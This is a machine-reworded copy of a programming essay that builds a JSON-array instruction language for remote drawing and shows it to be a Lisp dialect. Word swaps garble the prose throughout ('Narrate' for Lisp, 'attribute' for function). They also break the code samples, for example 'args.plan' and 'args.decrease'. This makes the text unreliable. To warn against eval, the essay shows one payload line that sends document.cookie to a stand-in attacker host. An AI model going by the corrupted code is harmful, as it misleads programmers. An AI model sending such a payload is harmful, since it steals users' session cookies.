An Intuition for Lisp Syntax

Last modified on October 26, 2020

Every convey hacker I ever met, myself integrated, thought that every one these brackets in Narrate had been off-striking and weird. At the initiating, little question. Soon after all of us got here to the equal epiphany: convey’s vitality lies in these brackets! On this essay, we’ll glide on a toddle to that epiphany.

Utter we had been creating a program that help you scheme stuff. If we wrote this in JavaScript, we'd maybe effectively perchance need features respect this:

drawPoint({x: 0, y: 1}, 'yellow')
drawLine({x: 0, y: 0}, {x: 1, y: 1}, 'blue')
drawCircle(stage, radius, 'purple')
rotate(form, 90)
...

To this stage, so frigid.

Now, right here’s a undertaking: Can we improve a great distance off drawing?

This kind {that a} explicit particular person can have the choice to “ship” directions to your cowl, and you'll see their drawing attain to existence.

How would maybe effectively perchance we kind it?

Well, insist we dilemma up a websocket connection. We would maybe effectively perchance purchase directions from the precise particular person respect this:

websocket.onMessage(data => { 
  /TODO */ 
})

To construct it work off the bat, one likelihood would maybe effectively perchance be to need code strings as enter:

websocket.onMessage(data => {
  eval(data)
})

Now the precise particular person would maybe effectively perchance ship "drawLine({x: 0, y: 0}, {x: 1, y: 1}, 'purple')" and bam: we’ll scheme a line!

But…your spidey sense would maybe effectively perchance unbiased already be tingling. What if the precise particular person was as soon as malicious and managed to ship us an instruction respect this:

"window.station='http://iwillp3wn.com?user_info=' + doc.cookie"

Uh oh…our cookie would purchase despatched to iwillp3wn.com, and the malicious explicit particular person will surely pwn us. We are capable of’t inform eval; it’s too unhealthy.

There lies our undertaking: we're capable of’t inform eval, however we want some formulation to accumulate arbitrary directions.

Well, we'd maybe effectively perchance signify these directions as JSON. We are capable of plan each JSON instruction to a certain attribute, and that formulation we're capable of handle what runs. Right right here’s one formulation we're capable of point out it:

{
  directions: [
    { functionName: "drawLine", args: [{ x: 0, y: 0 }, { x: 1, y: 1 }, "blue"] },
  ];
}

This JSON would translate to drawLine({x: 0, y: 0}, {x: 1, y: 1},"blue")

We would maybe effectively perchance improve this good-looking merely. Right right here’s how our onMessage would maybe effectively perchance discover:

internetSocket.onMessage(instruction => { 
  const fns = {
    drawLine: drawLine,
    ...
  };
  data.directions.forEach((ins) => fns[ins.functionName](...ins.args));
})

That appears to be like respect it could work!

Let’s see if we're capable of neat this up. Right right here’s our JSON:

{
  directions: [
    { functionName: "drawLine", args: [{ x: 0, y: 0 }, { x: 1, y: 1 }, "blue"] },
  ];
}

Well, since each instruction has a functionName, and an args, we don’t essentially should spell that out. We would maybe effectively perchance write it respect this:

{
  directions: [["drawLine", { x: 0, y: 0 }, { x: 1, y: 1 }, "blue"]],
}

Optimistic! We modified our object in want of an array. To deal with that, all we want is a rule: the first half of our instruction is the attribute set up, and the relaxation are arguments. If we wrote that down, right here’s how our onMessage would discover:

websocket.onMessage(data => { 
  const fns = {
    drawLine: drawLine,
    ...
  };
  data.directions.forEach(([fName, ...args]) => fns[fName](...args));
})

And bam, drawLine would work all however once more!

To this stage, we solely worn drawLine:

drawLine({x: 0, y: 0}, {x: 1, y: 1}, 'blue')
// similar as
["drawLine", { x: 0, y: 0 }, { x: 1, y: 1 }]

But what if we wished to comment one thing further important:

rotate(drawLine({x: 0, y: 0}, {x: 1, y: 1}, 'blue'), 90)

Having a discover at that, we're capable of translate it to an instruction respect this:

["rotate", ["drawLine", { x: 0, y: 0 }, { x: 1, y: 1 }], 90]

Right right here, the rotate instruction has an argument that's in itself an instruction! Moderately important. Surprisingly, we applicable should tweak our code a runt bit to construct it work:

websocket.onMessage(data => { 
  const fns = {
    drawLine: drawLine,
    ...
  };
  const parseInstruction = (ins) => {
    if (!Array.isArray(ins)) {
      // this needs to be a light argument, respect {x: Zero y: 0}
      return ins;
    }
    const [fName, ...args] = ins;
    return fns[fName](...args.plan(parseInstruction));
  };
  data.directions.forEach(parseInstruction);
})

Optimistic, We introduce a parseInstruction attribute. We are capable of observe parseInstruction recursively to arguments, and improve stuff respect:

["rotate"["rotate", ["drawLine", { x: 0, y: 0 }, { x: 1, y: 1 }], 90]]]

Very frigid!

Okay, let’s discover at our JSON all however once more:

{
  directions: [["drawLine", { x: 0, y: 0 }, { x: 1, y: 1 }]],
}

Well, our data solely incorporates directions. Can we essentially need a key referred to as directions?

What if we did this:

["do", ["drawLine", { x: 0, y: 0 }, { x: 1, y: 1 }]]

In determination to a high-stage key, we'd maybe effectively perchance get a certain instruction referred to as kind, which runs the entire directions it’s given.

Right right here’s one formulation we're capable of implement it:

websocket.onMessage(data => { 
  const fns = {
    ...
    kind: (...args) => args[args.length - 1],
  };
  const parseInstruction = (ins) => {
    if (!Array.isArray(ins)) {
      // this needs to be a light argument, respect {x: 0, y: 0}
      return ins;
    }
    const [fName, ...args] = ins;
    return fns[fName](...args.plan(parseInstruction));
  };
  parseInstruction(instruction);
})

Oh wow, that was as soon as uncomplicated. We applicable added kind in fns. Now we're capable of improve an instruction respect this:

[
  "do",
  ["drawPoint", { x: 0, y: 0 }],
  ["rotate", ["drawLine", { x: 0, y: 0 }, { x: 1, y: 1 }], 90]],
];

Let’s construct it further gripping. What if we wished to boost definitions?

const form = drawLine({x: 0, y: 0}, {x: 1, y: 1}, 'purple')
rotate(form, 90)

If we'd maybe effectively perchance improve definitions, our a great distance off explicit particular person would maybe effectively perchance write some very expressive directions! Let’s convert our code to the roughly data construction we’ve been taking half in with:

["def", "shape", ["drawLine", { x: 0, y: 0 }, { x: 1, y: 1 }]]
["rotate", "shape", 90]

Noot notorious! If we're capable of improve an instruction respect that, we’d be golden! Right right here’s how:

websocket.onMessage(data => { 
  const variables = {};
  const fns = {
    ...
    def: (set up, v) => {
      variables[name] = v;
    },
  };
  const parseInstruction = (ins) => {
    if (variables[ins]) {
      // this needs to be some roughly variable, respect "form"
      return variables[ins];
    }
    if (!Array.isArray(ins)) {
      // this needs to be a light argument, respect {x: Zero y: 0}
      return ins;
    }
    const [fName, ...args] = ins;
    return fns[fName](...args.plan(parseInstruction));
  };
  parseInstruction(instruction);
})

Right right here, we offered a variables object, which retains be aware of each and each variable we elaborate. A particular def attribute updates that variables object. Now we're capable of amble this instruction:

[
  "form",
  ["def", "shape", ["drawLine", { x: 0, y: 0 }, { x: 1, y: 1 }]],
  ["rotate", "shape", 90],
];

No longer notorious!

Let’s step it up a notch. What if we let our a great distance off explicit particular person elaborate their grasp features?

Utter they wished to jot down one thing respect this:

const drawTriangle = attribute(left, excessive, upright, colour) { 
   drawLine(left, excessive, colour);
   drawLine(excessive, upright, colour); 
   drawLine(left, upright, colour); 
} 
drawTriangle(...)

How would we kind it? Let’s be aware our instinct all however once more. If we transcribe this to our data illustration, right here’s how it could maybe effectively perchance discover:

  ["def", "drawTriangle",
  ["fn", ["left", "top", "right", "color"],
    ["do",
      ["drawLine", "left", "top", "color"],
      ["drawLine", "top", "right", "color"],
      ["drawLine", "left", "right", "color"],
    ],
  ],
],
["drawTriangle", { x: 0, y: 0 }, { x: 3, y: 3 }, { x: 6, y: 0 }, "blue"],

Right right here,

const drawTriangle = ...

interprets to

["def", "drawTriangle", …]. 

And

attribute(left, excessive, upright, colour) {…}

interprets to

["fn", ["left", "top", "right", "color"], ["do" ...]]

All now we get acquired to kind is to parse this instruction in a design, and bam, we're unbiased to glide!

Essentially probably the most indispensable to creating this work is our ["fn", …] instruction. What if we did this:

const parseFnInstruction = (args, physique, oldVariables) => {
  return (...values) => {
    const newVariables = {
      ...oldVariables,
      ...mapArgsWithValues(args, values),
    };
    return parseInstruction(physique, newVariables);
  };
};

When we uncover a fn instruction, we amble parseFnInstruction. This produces a recent javascript attribute. We would change drawTriangle right here with that attribute:

["drawTriangle", { x: 0, y: 0 }, { x: 3, y: 3 }, { x: 6, y: 0 }, "blue"]

So when that attribute is amble, values would develop into:

[{ x: 0, y: 0 }, { x: 3, y: 3 }, { x: 6, y: 0 }, "blue"]

After that,

const newVariables = {...oldVariables, ...mapArgsWithValues(args, values)}

Would kind a recent variables object, that includes a mapping of the attribute arguments to those newly provided values:

const newVariables = {
  ...oldVariables,
  left: { x: 0, y: 0 }, 
  excessive: { x: 3, y: 3 },
  upright: {x: 6, y: 0 }, 
  colour: "blue", 
}

Then, we're capable of need the attribute physique, on this case:

      [
        "do",
        ["drawLine", "left", "top", "color"],
        ["drawLine", "top", "right", "color"],
        ["drawLine", "left", "right", "color"],
      ],

And amble it via parseInstruction, with our newVariables. With that "left" would maybe be appeared up as a variable and plan to {x: 0, y: 0}.

If we did that, voila, the elemental work to boost features would maybe be executed!

Let’s be aware via on our thought. The elementary insist now we get acquired to kind, is to get parseInstruction get variables as an argument. To kind that, now we get acquired to interchange parseInstruction, and wherever or not it's referred to as:

  const parseInstruction = (ins, variables) => {
    ...
    return fn(...args.plan((arg) => parseInstruction(arg, variables)));
  };
  parseInstruction(instruction, variables);

Subsequent, we’ll ought so as to add a certain check to detect if now we get acquired a “fn” instruction:

  const parseInstruction = (ins, variables) => {
    ...
    const [fName, ...args] = ins;
    if (fName == "fn") {
      return parseFnInstruction(...args, variables);
    }
    ...
    return fn(...args.plan((arg) => parseInstruction(arg, variables)));
  };
  parseInstruction(instruction, variables);

Now, our parseFnInstruction:

const mapArgsWithValues = (args, values) => { 
  return args.decrease((res, good ample, idx) => {
    res[k] = values[idx];
    return res;
  }, {});
}
const parseFnInstruction = (args, physique, oldVariables) => {
  return (...values) => {
    const newVariables = {...oldVariables, ...mapArgsWithValues(args, values)}
    return parseInstruction(physique, newVariables);
  };
};

It essentially works exactly respect we mentioned. We return a recent attribute. When it’s amble, it:

  1. Creates a newVariables object, that pals the args with values
  2. runs parseInstruction with the physique and the modern variables object

Okay, almost executed. The last bit to construct all of it work:

  const parseInstruction = (ins, variables) => {
    ...
    const [fName, ...args] = ins;
    if (fName == "fn") {
      return parseFnInstruction(...args, variables);
    }
    const fn = fns[fName] || variables[fName];
    return fn(...args.plan((arg) => parseInstruction(arg, variables)));

The backside line is that this:

    const fn = fns[fName] || variables[fName];

Right right here, since fn can now attain from each fns and variables, we check each. Put all of it collectively, and it really works!

websocket.onMessage(data => { 
  const variables = {};
  const fns = {
    drawLine: drawLine,
    drawPoint: drawPoint,
    rotate: rotate,
    kind: (...args) => args[args.length - 1],
    def: (set up, v) => {
      variables[name] = v;
    },
  };
  const mapArgsWithValues = (args, values) => {
    return args.decrease((res, good ample, idx) => {
      res[k] = values[idx];
      return res;
    }, {});
  };
  const parseFnInstruction = (args, physique, oldVariables) => {
    return (...values) => {
      const newVariables = {
        ...oldVariables,
        ...mapArgsWithValues(args, values),
      };
      return parseInstruction(physique, newVariables);
    };
  };
  const parseInstruction = (ins, variables) => {
    if (variables[ins]) {
      // this needs to be some roughly variable
      return variables[ins];
    }
    if (!Array.isArray(ins)) {
      // this needs to be a light argument, respect {x: Zero y: 0}
      return ins;
    }
    const [fName, ...args] = ins;
    if (fName == "fn") {
      return parseFnInstruction(...args, variables);
    }
    const fn = fns[fName] || variables[fName];
    return fn(...args.plan((arg) => parseInstruction(arg, variables)));
  };
  parseInstruction(instruction, variables);
})

Holy jeez, with applicable this code, we're capable of parse this:

[
  "do",
  [
    "def",
    "drawTriangle",
    [
      "fn",
      ["left", "top", "right", "color"],
      [
        "do",
        ["drawLine", "left", "top", "color"],
        ["drawLine", "top", "right", "color"],
        ["drawLine", "left", "right", "color"],
      ],
    ],
  ],
  ["drawTriangle", { x: 0, y: 0 }, { x: 3, y: 3 }, { x: 6, y: 0 }, "blue"],
  ["drawTriangle", { x: 6, y: 6 }, { x: 10, y: 10 }, { x: 6, y: 16 }, "purple"],
])

We are capable of originate features, we're capable of elaborate variables, and we're capable of even kind our grasp features. If we take into story it, we applicable created a programming language! 1.

Right right here’s an occasion of our triangle 🙂

And right here’s a jubilant explicit particular person!

We would maybe effectively perchance unbiased even witness one thing gripping. Our modern array languages has advantages to JavaScript itself!

Nothing particular

In JavaScript, you elaborate variables by writing const x=foo. Utter you wished to “rewrite” const to be applicable c. You couldn’t kind this, as a result of const x=foo is particular syntax in JavaScript. You’re no longer allowed to swap that spherical.

In our array language though, there’s no syntax in any respect! All the items is appropriate arrays. We would maybe effectively perchance with out concerns write some particular c instruction that works applicable respect def.

If we take into story it, it’s as though in Javascript we're visitors, and now we get acquired to notice the language mannequin designer’s solutions. But in our array language, we're “co-homeowners”. There is not any colossal disagreement between the “built-in” stuff (“def”, “fn”) the language mannequin designer wrote, and the stuff we write! (“drawTriangle”).

Code is Info

There’s however another, worthy further resounding procure. If our code is appropriate a bunch of arrays, we're capable of kind stuff to the code. We would maybe effectively perchance write code that generates code!

Let's insist, insist we wished to boost besides in Javascript.

At any time when any particular person writes

besides foo { 
   ...
}

We are capable of rewrite it to

if !foo { 
   ...
}

This would maybe be complicated to kind. We’d need one thing respect Babel to parse our file, and work on excessive of the AST to construct certain we rewrite our code safely to

if !foo { 
  ...
}

But in our array language, our code is appropriate arrays! It’s uncomplicated to rewrite besides:

attribute rewriteUnless(exceptCode) {
   const [_unlessInstructionName, testCondition, consequent] = exceptCode; 
   return ["if", ["not", testCondition], consequent]
}
rewriteUnless(["unless", ["=", 1, 1], ["drawLine"]])
//=> 
["if", ["not", ["=", 1, 1]], ["drawLine"]];

Oh my god. Easy peasy.

Having your code represented as data doesn’t applicable will allow you to govern your code with ease. It moreover permits your editor to kind it too. Let's insist, insist prospects are you may effectively perchance be modifying this code:

["if", testCondition, consequent]

You should swap testCondition to ["not", testCondition]

You'd carry your cursor over to testCondition

["if", |testCondition, consequent]

Then kind an array

["if", [|] testCondition, consequent]

Now prospects are you may effectively kind “no longer”

["if", ["not", |] testCondition, consequent]

If you happen to’re editor understood these arrays, prospects are you may effectively affirm it: “amplify” this dwelling to the upright:

["if", ["not", testCondition], consequent]

Enhance. Your editor helped your swap the construction of your code.

If you happen to wished to undo this, You would maybe effectively perchance connect your cursor beside testCondition,

["if", ["not", |testCondition], consequent]

and restore a search information from to the editor to “elevate” this up one stage:

["if", testCondition, consequent]

In the current day, as a change of modifying characters, prospects are you may effectively perchance be modifying the construction of your code. This is is legendary as structural modifying 2. It goes to will let you go with the hotfoot of a sculptor, and is one among the various wins you’ll purchase when your code is data.

Well, this array language you took station to get found…is a poorly carried out dialect of Narrate!

Right right here’s our most refined occasion:

[
  "do",
  [
    "def",
    "drawTriangle",
    [
      "fn",
      ["left", "top", "right", "color"],
      [
        "do",
        ["drawLine", "left", "top", "color"],
        ["drawLine", "top", "right", "color"],
        ["drawLine", "left", "right", "color"],
      ],
    ],
  ],
  ["drawTriangle", { x: 0, y: 0 }, { x: 3, y: 3 }, { x: 6, y: 0 }, "blue"],
  ["drawTriangle", { x: 6, y: 6 }, { x: 10, y: 10 }, { x: 6, y: 16 }, "purple"],
])

And right here’s how that appears in Clojure, a dialect of convey:

(kind 
  (def scheme-triangle (fn [left top right color]
                       (scheme-line left excessive colour)
                       (scheme-line excessive upright colour)
                       (scheme-line left upright colour)))
  (scheme-triangle {:x 0 :y 0} {:x 3 :y 3} {:x 6 :y 0} "blue")
  (scheme-triangle {:x 6 :y 6} {:x 10 :y 10} {:x 6 :y 16} "pink"))

The changes are beauty:

  • () now signify lists
  • We eradicated the entire commas
  • camelCase turned kebab-case
  • In determination to the inform of strings in all areas, we added one further data kind: a image
    • A emblem is worn to discover stuff up: i.e "drawTriangle" turned scheme-triangle

The the remainder of the foundations are the equal:

(scheme-line left excessive colour)

formulation

  • Grab into story left, excessive, colour, and change them with their values
  • Slump the attribute scheme-line with these values

Now, if we agree that the flexibility to control supply code is key to us, what roughly languages are most conducive for supporting it?

One formulation we're capable of resolve that search information from is to rephrase it: how would maybe effectively perchance we construct manipulating code as intuitive as manipulating data inside our code? The decision sprouts out: Originate the code data! What an exhilarating conclusion. If we care about manipulating supply code, we fly into the reply: the code should be data 3.

If the code needs to be data, what roughly data illustration would maybe effectively perchance we inform? XML would maybe effectively perchance work, JSON would maybe effectively perchance work, and the checklist goes on. But, what would happen if we tried to to search out the right data construction? If we get simplifying, we fly into to the right nested construction of all…lists!

This is each illuminating and tantalizing.

It’s illuminating, inside the sense that it appears to be like respect Narrate is “found”. It’s respect the decision to an optimization undertaking: while you care about manipulating code, you gravitate in path of discovering Narrate. There’s one thing dread-passionate concerning the inform of a instrument that’s found: who's acutely aware of, alien lifestyles-kinds would maybe effectively perchance inform Narrate!

It’s tantalizing, in that, there would maybe effectively perchance unbiased be the next syntax. We don’t know. Ruby and Python in my look the purchase experiments, searching to carry convey-respect vitality with out the brackets. I don’t mediate the search information from is a solved one however. Maybe prospects are you may effectively take into story it 🙂

You would maybe effectively perchance think about how expressive prospects are you may effectively perchance even be when prospects are you may effectively rewrite the code your language is written in. You’d with out a doubt be on the equal footing as a result of the language mannequin designer, and the abstractions prospects are you may effectively perchance write at that stage, can add as much as join you years of labor.

In the current day, these brackets discover roughly frigid!


Thanks to Daniel Woelfel, Alex Kotliarskyi, Sean Grove, Joe Averbukh, Irakli Safareli, for reviewing drafts of this essay

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